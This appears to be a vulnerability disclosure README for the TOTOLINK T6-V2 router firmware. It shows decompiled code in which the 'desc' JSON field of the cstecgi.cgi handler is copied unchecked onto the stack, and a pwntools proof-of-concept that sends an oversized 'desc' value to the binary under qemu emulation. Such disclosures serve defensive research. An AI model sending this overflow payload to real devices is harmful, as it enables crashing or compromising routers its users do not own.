d1tto add totolink T6-v2 ... on May 29 History

..

img	6 months ago
readme.md	6 months ago

readme.md

Overview

- The device's official website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=products&id=16&ids=33
- Firmware download website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=16&ids=36

Affected version

T6-V2 V4.1.9cu.5179_B20201015

Vulnerability details

The vulnerability exists in the router's WEB component. `/web_cste/cgi-bin/cstecgi.cgi` `FUN_004137a4` (at address 0x4137a4) gets the JSON parameter `desc`, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

Decompile: FUN_004137a4 - (cstecgi.cgi)

```
67      apmib_set(0x34,local_20);
68      FUN_00422298(&local_70);
69      apmib_get(0x16,&local_8c);
70      apmib_set(0x34,local_20);
71      FUN_00422298(&local_78);
72    }
73    else {
74      pcVar3 = (char *)websGetVar(param_1,"mac","");
75      __src = (char *)websGetVar(param_1,"desc","");
76      if (iVar4 == 1) {
77        iVar4 = 0;
78        cVar1 = *pcVar3;
79        while (cVar1 != '\0') {
80          if (cVar1 != ':') {
81            *(char *)((int)&local_88 + iVar4) = cVar1;
82            iVar4 = iVar4 + 1;
83          }
84          pcVar7 = pcVar3 + 1;
85          pcVar3 = pcVar3 + 1;
86          cVar1 = *pcVar7;
87        }
88        if ((char)local_88 == '\0') {
89  LAB_00413bac:
90          FUN_00423e98("0","reserv");
91          return 1;
92        }
93        sVar6 = strlen((char *)&local_88);
94        FUN_004232bc(&local_88,auStack320,sVar6);
95        strcpy(acStack314,__src);
96        apmib_set(0x20038,auStack320);
97        apmib_set(0x10037,auStack320);
98        FUN_00422298(&local_70);
```

PoC

```
from pwn import *
import json

data = {
    "topicurl": "setting/setWiFiAclRules",
    "addEffect": "1",
    "mac": "12:34:56:78",
    "desc": 'A'*0x500,
}

data = json.dumps(data)
print(data)
```

```
argv = [
    "qemu-mipsel-static",
    "-g", "1234",
    "-L", "./root/",
    "-E", "CONTENT_LENGTH={}".format(len(data)),
    "-E", "REMOTE_ADDR=192.168.2.1",
    "./cstecgi.cgi"
]

a = process(argv=argv)
a.sendline(data.encode())

a.interactive()
```